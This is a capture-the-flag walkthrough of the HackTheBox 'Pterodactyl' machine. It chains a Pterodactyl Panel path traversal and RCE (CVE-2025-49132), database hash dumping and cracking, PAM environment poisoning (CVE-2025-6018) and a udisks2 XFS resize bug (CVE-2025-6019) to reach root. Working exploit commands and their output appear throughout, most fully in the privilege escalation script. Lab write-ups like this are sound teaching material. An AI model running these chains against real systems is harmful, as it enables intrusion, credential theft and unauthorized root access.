HackTheBox: Pterodactyl

exploiting a Pterodactyl game panel via path traversal, PAM environment poisoning, and a udisks2 XFS resize bug to get root

reconnaissance

nmap

pterodactyl page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sC -sV pterodactyl.htb --min-rate 1000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-08 01:26 CST
Nmap scan report for pterodactyl.htb (10.129.1.121)
Host is up (0.043s latency).
Not shown: 988 filtered tcp ports (no-response), 8 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-title: My Minecraft Server
|_http-server-header: nginx/1.21.5
443/tcp closed https
8080/tcp closed http-proxy

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.21 seconds

also checked for minecraft:

1
2
3
4
5
6
7
8
9
nmap -p 25565 -sV 10.129.2.123
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-09 14:52 EST
Nmap scan report for pterodactyl.htb (10.129.2.123)
Host is up (0.056s latency).

PORT STATE SERVICE VERSION
25565/tcp filtered minecraft

Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds

minecraft port is filtered - not directly accessible from our end.

directory enumeration

1
2
3
4
5
6
7
feroxbuster -u http://pterodactyl.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --filter-status 404

200 GET 92l 186w 1696c http://pterodactyl.htb/global.css
200 GET 28l 105w 920c http://pterodactyl.htb/changelog.txt
200 GET 9854l 93838w 4648650c http://pterodactyl.htb/Public/Header.png
200 GET 54l 123w 1686c http://pterodactyl.htb/
301 GET 7l 11w 169c http://pterodactyl.htb/Public => http://pterodactyl.htb/Public/

changelog analysis

the front page links to a changelog.txt which leaks a ton of useful information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

key takeaways:

  • Pterodactyl Panel v1.11.10 - game server management panel, outdated version, likely vulnerable
  • MariaDB 11.8.3 - database backend, potential credential reuse or SQL injection vectors
  • phpinfo() is enabled - free information disclosure
  • PHP-PEAR is installed - this becomes important later

phpinfo enumeration

from the changelog we know phpinfo() debugging is enabled:

1
curl http://pterodactyl.htb/phpinfo.php -o phpinfo.html

grepping through it reveals some interesting things:

1
2
grep -i "disable_functions" phpinfo.html
<tr><td class="e">disable_functions</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>

no disabled functions - meaning dangerous functions like system() and exec() are all available. if we get any PHP code execution, we have RCE.

also important for later:

1
<tr><td class="e">include_path</td><td class="v">.:/usr/share/php8:/usr/share/php/PEAR</td><td class="v">.:/usr/share/php8:/usr/share/php/PEAR</td></tr>

the PHP include path shows PEAR lives at /usr/share/php/PEAR, not the default /usr/share/php. keep this in mind.

subdomain enumeration

ran ffuf against the target, filtering out the default response size:

1
2
3
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -fs 145 -t 100

panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 445ms]

pterodactyl panel login page

found the Pterodactyl panel at panel.pterodactyl.htb.

i’ll note here that i actually found www first using a different ffuf command with -fw 1 instead of -fs 145, which returned a ton of false positives (all size 145 302 redirects). i had to re-run with the size filter to find the real result. lesson learned: always filter aggressively on subdomain enumeration.

initial foothold

CVE-2025-49132 - leaking database credentials

found a PoC for CVE-2025-49132, a path traversal vulnerability in Pterodactyl Panel that allows reading Laravel config files (not a general LFI though - it’s limited to the app’s config).

my first attempt with the PoC came back negative, but that was because the PoC hardcodes the panel path. since our panel is at a subdomain, not the default path, the PoC needed to be pointed at the right URL:

1
2
python3 poc.py http://panel.pterodactyl.htb
http://panel.pterodactyl.htb/ => pterodactyl:PteraPanel@127.0.0.1:3306/panel

leaked database credentials:

  • username: pterodactyl
  • password: PteraPanel
  • database: panel on 127.0.0.1:3306

these are local database credentials, not panel login credentials - they don’t work on the web login.

CVE-2025-49132 - remote code execution

found a second PoC that chains the same CVE into RCE via the /locales/locale.json endpoint.

how it works: the locale and namespace parameters are passed directly to PHP’s include() without sanitization or authentication. normally there’s a hash parameter that prevents abuse, but it’s not enforced in unpatched versions. the PoC leverages this to include pearcmd.php (remember PHP-PEAR from the changelog?) which can be abused to write and execute arbitrary PHP files.

initial failures: my first several attempts all failed with “no output (pearcmd not present on target?)”:

1
python3 rce.py http://panel.pterodactyl.htb --rce-cmd "id"

the PoC defaults to looking for pearcmd.php in /usr/share/php, but remember what phpinfo told us - the actual path is /usr/share/php/PEAR. once i corrected this:

1
python3 rce.py http://panel.pterodactyl.htb --rce-cmd "id" --pear-dir /usr/share/php/PEAR
1
2
3
4
5
════════════════════════════════════════════════════════════
RCE (pearcmd) — id
════════════════════════════════════════════════════════════
[+] Output:
uid=474(wwwrun) gid=477(www) groups=477(www)

we have RCE as wwwrun. however, i could not get a reverse shell to work no matter what i tried - different encodings, different shells, different listeners, different VPN regions. no idea why. so instead i just enumerated manually through the RCE.

database dumping via RCE

since we had database credentials from earlier but couldn’t connect directly (no mysql client on the box, or at least it wasn’t cooperating), i wrote a PHP script via RCE to query the database:

1
python3 rce.py http://panel.pterodactyl.htb --rce-cmd "printf '<?php \$c=new mysqli(\"127.0.0.1\",\"pterodactyl\",\"PteraPanel\",\"panel\");\$r=\$c->query(\"SELECT id,username,email,password FROM users\");\nwhile(\$row=\$r->fetch_assoc()){echo \$row[\"id\"].\",\".\$row[\"username\"].\",\".\$row[\"email\"].\",\".\$row[\"password\"].\"\\n\";} ?>' > /tmp/q.php" --pear-dir /usr/share/php/PEAR
1
python3 rce.py http://panel.pterodactyl.htb --rce-cmd "php /tmp/q.php" --pear-dir /usr/share/php/PEAR
1
2
3
[+] Output:
2,headmonitor,headmonitor@pterodactyl.htb,$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
3,phileasfogg3,phileasfogg3@pterodactyl.htb,$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi

cracking hashes & SSH access

1
2
3
4
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Will run 16 OpenMP threads
!QAZ2wsx (phileasfogg3)

only phileasfogg3‘s hash cracked. SSH’d in with phileasfogg3:!QAZ2wsx and grabbed user.txt.

privilege escalation

sudo & the targetpw gotcha

1
2
3
phileasfogg3@pterodactyl:~> sudo -l
User phileasfogg3 may run the following commands on pterodactyl:
(ALL) ALL

looks like we can run anything as sudo - but when you actually try, it asks for root’s password, not ours. this had me stuck for a while until i noticed the targetpw setting in the sudo defaults. targetpw means sudo asks for the target user’s password (root by default) instead of the invoking user’s password. so (ALL) ALL is essentially useless without knowing root’s password.

CVE-2025-6018 - PAM environment variable poisoning

checking PAM version:

1
2
3
rpm -qi pam | grep -E "Version|Release"
Version : 1.3.0
Release : 150000.6.66.1

PAM 1.3.0 is vulnerable to CVE-2025-6018. the vulnerability is in the pam_env module where user_readenv is enabled by default. when a user logs in via SSH, pam_env reads ~/.pam_environment, and any variables set there get processed by pam_systemd later in the session stack. this lets us inject environment variables that trick systemd into treating our session as a local graphical session.

verified the module is loaded:

1
2
3
grep -r "pam_env" /etc/pam.d/
/etc/pam.d/common-auth:auth required pam_env.so
/etc/pam.d/common-session:session optional pam_env.so

ran the PoC:

1
python3 CVE-2025-6018.py -i 10.129.3.36 -u phileasfogg3 -p '!QAZ2wsx'

this writes to ~/.pam_environment:

1
2
3
4
5
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime

after re-authenticating via SSH, our session is now seen as a local active graphical session by polkit. this is important because it unlocks polkit actions that are set to implicit active: yes - meaning they don’t require authentication for “active” sessions. we’re not root yet, but we now have access to udisks2 actions like mounting and resizing filesystems without authentication.

CVE-2025-6019 - udisks2 XFS resize exploit

checking what polkit actions are available to active sessions:

1
pkaction --verbose | grep "implicit active: yes"

found several udisks2 actions available without auth:

  • org.freedesktop.udisks2.loop-setup
  • org.freedesktop.udisks2.filesystem-mount
  • org.freedesktop.udisks2.modify-device

my first instinct was to create an ext4 image with a SUID bash, mount it via udisks2, and run it. problem: udisks2 mounts with nosuid by default, and you can’t override it:

1
2
udisksctl mount -b /dev/loop0 -o suid,dev,exec
# Error: Mount option `suid` is not allowed

this is where CVE-2025-6019 comes in. when udisks2 resizes an XFS filesystem via D-Bus, it temporarily mounts it without the nosuid flag. so the attack is:

  1. create an XFS image containing a SUID root bash
  2. set up a loop device and keep the filesystem busy so it can’t be unmounted
  3. trigger a resize via D-Bus, which remounts without nosuid
  4. execute the SUID bash

used this PoC to generate the XFS image locally (needs root to set SUID), then transferred it to the target:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# on target
cd /tmp

# stop gvfs volume monitor to prevent auto-mounting interference
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null

# create loop device from XFS image
LOOP_DEV=$(udisksctl loop-setup --file ./xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')

# keep filesystem busy in background to prevent unmounting
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &

# trigger the vulnerability - resize causes a remount without nosuid
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

sleep 2

# find and execute SUID bash
find /tmp -path "/tmp/blockdev*/bash" -perm -4000 -exec {} -p \;
1
2
3
4
5
6
7
8
bash-5.3# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

bash-5.3# whoami
root

bash-5.3# cat /root/root.txt
<flag>

rooted.